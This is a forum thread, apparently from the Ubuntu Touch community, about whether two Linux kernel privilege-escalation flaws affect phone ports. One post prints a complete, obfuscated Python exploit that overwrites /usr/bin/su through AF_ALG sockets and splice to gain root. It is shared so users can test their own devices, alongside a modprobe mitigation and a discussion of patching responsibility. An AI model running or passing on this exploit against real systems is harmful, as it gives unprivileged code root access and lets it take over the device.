UT kernel security question

[gpatel-fr]

@tidip

it all depends on the kernel, that is, on the specific port.

Here is what give the 2 exploits you are referencing to on my Fairphone 5 running UT 24.04-1.3

phablet@ubuntu-phablet:~$ python3 copyfail.py
Traceback (most recent call last):
  File "/home/phablet/copyfail.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/phablet/copyfail.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
      ^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/socket.py", line 233, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol
phablet@ubuntu-phablet:~$ cd Downloads/
phablet@ubuntu-phablet:~/Downloads$ gcc -O0 -Wall -o exp exp.c -lutil
phablet@ubuntu-phablet:~/Downloads$ ./exp
/usr/bin/su: 1: ELF: not found
/usr/bin/su: 1: cannot open : No such file
/usr/bin/su: 1: cannot open {�(��4[O+1� �z�~��]�5��m���l<����������E]�����E- ���Hp�: No such file
/usr/bin/su: 4: F�1� ���*F�B1� ���.F�b1� ���2F��1� ���6F��1� ���:F��1� ���>F��1� ���BF�2� ���FF�2�: not found
/usr/bin/su: 5: Syntax error: ")" unexpected
phablet@ubuntu-phablet:~/Downloads$ 

in short, no root shell, so not vulnerable without any mitigation. Don't ask me why, I don't know.

To anyone wanting to run this code: the dirtyfrag exploit can be had here

The python code to test the copyfail vuln is here:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4

@bolly: getting root access from a software running as phablet allows the code to install system services, remount the root r/w and as such is preferrably avoided.

[idonthatevests]

@gpatel-fr
the second one looks like it successfully wrote something to su and tried to run it, but the su contents was misunderstood by OS
The mitigation should be the same as for desktop Linux: disabling affected modules completely in modprobe config:

install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
install algif_aead /bin/false

[tidip]

Thanks for your answers. I was just taking these 2 flaws as examples to understand the workflow in such cases. Still interesting to know that these 2 are not affecting us too much.

So if I correctly understood patching the kernel would be responsibility of the port maintainer(s).

[gpatel-fr]

@idonthatevests said:

but the su contents was misunderstood by OS

Well, this misunderstanding would need explaining but it could be the result of a security layer somewhere. I tested these 2 exploits on my workstation under Kunbutu 24.04 and they produced the expected result (root access).

[gpatel-fr]

@tidip said:

Still interesting to know that these 2 are not affecting us too much.

This is not what I wrote. You could replace 'are' by 'may'. It depends on the specific device. I provided the means of testing these exploits to allow people to test themselves.

[idonthatevests]

@tidip said:

So if I correctly understood patching the kernel would be responsibility of the port maintainer(s).

It can be patched on a core system image level for most devices as well, and that would require way less work and prevent any further drama that is still going on.

Some of these series even came out before the mainline kernel patches so it took time to address the issue even for major Linux distros

[arubislander]

@idonthatevests that would depend on what exactly needs patching. If it is some.module that is loaded at initialization time, but is packaged separately, then a new root image would carry the patch. If it is the kernel itself that needs patching, then the port maintainers would have to step up.

[idonthatevests]

@arubislander That's the correct answer, I missed the fact that these modules may not only be completely disabled in a specific kernel, but also be built-in. In which case the desktop solution would do nothing

[Bolly]

Bolly said:

@tidip If I'm not mistaken, it's not possible to exploit those vulnerabilities on Ubuntu Touch since there's only one user.

@gpatel-fr Could I have been right?

Reference: https://ubports.com/blog/ubports-news-1/ubuntu-touch-q-a-189-3997

[gpatel-fr]

@Bolly

For Ubuntu Touch this bug isn't critical because device is designed for single user and local access is standardly full.

I have looked at this part of the Q/A and the only reply addressing the real issue (confined apps) is not mentioned in the written report. It was done by Marius Gripsgard (amid a lot of verbose disgressions about servers) and basically it was that apps are open source and that apparmor is applying so it's all protected.

re: open source: it's not true that confined apps can't be closed source.
the policy states 'Only open source applications allowed for manual review: '. That means that confined apps are not necessarily open source.

Anyway even with open source apps, it's not a sure thing that first, the source will be looked at and that the review will catch everything - hackers can be crafty and it's pretty much something they must be if they want to be in the business-, and second, that the binary uploaded to the store matches the published source. As far as I know the apps are not compiled by the store.

re: apparmor: yes it protects some, but I doubt that apparmor is able to stop all kernel vulnerabilites because apparmor is part of the kernel, it's not a supervisor above the kernel.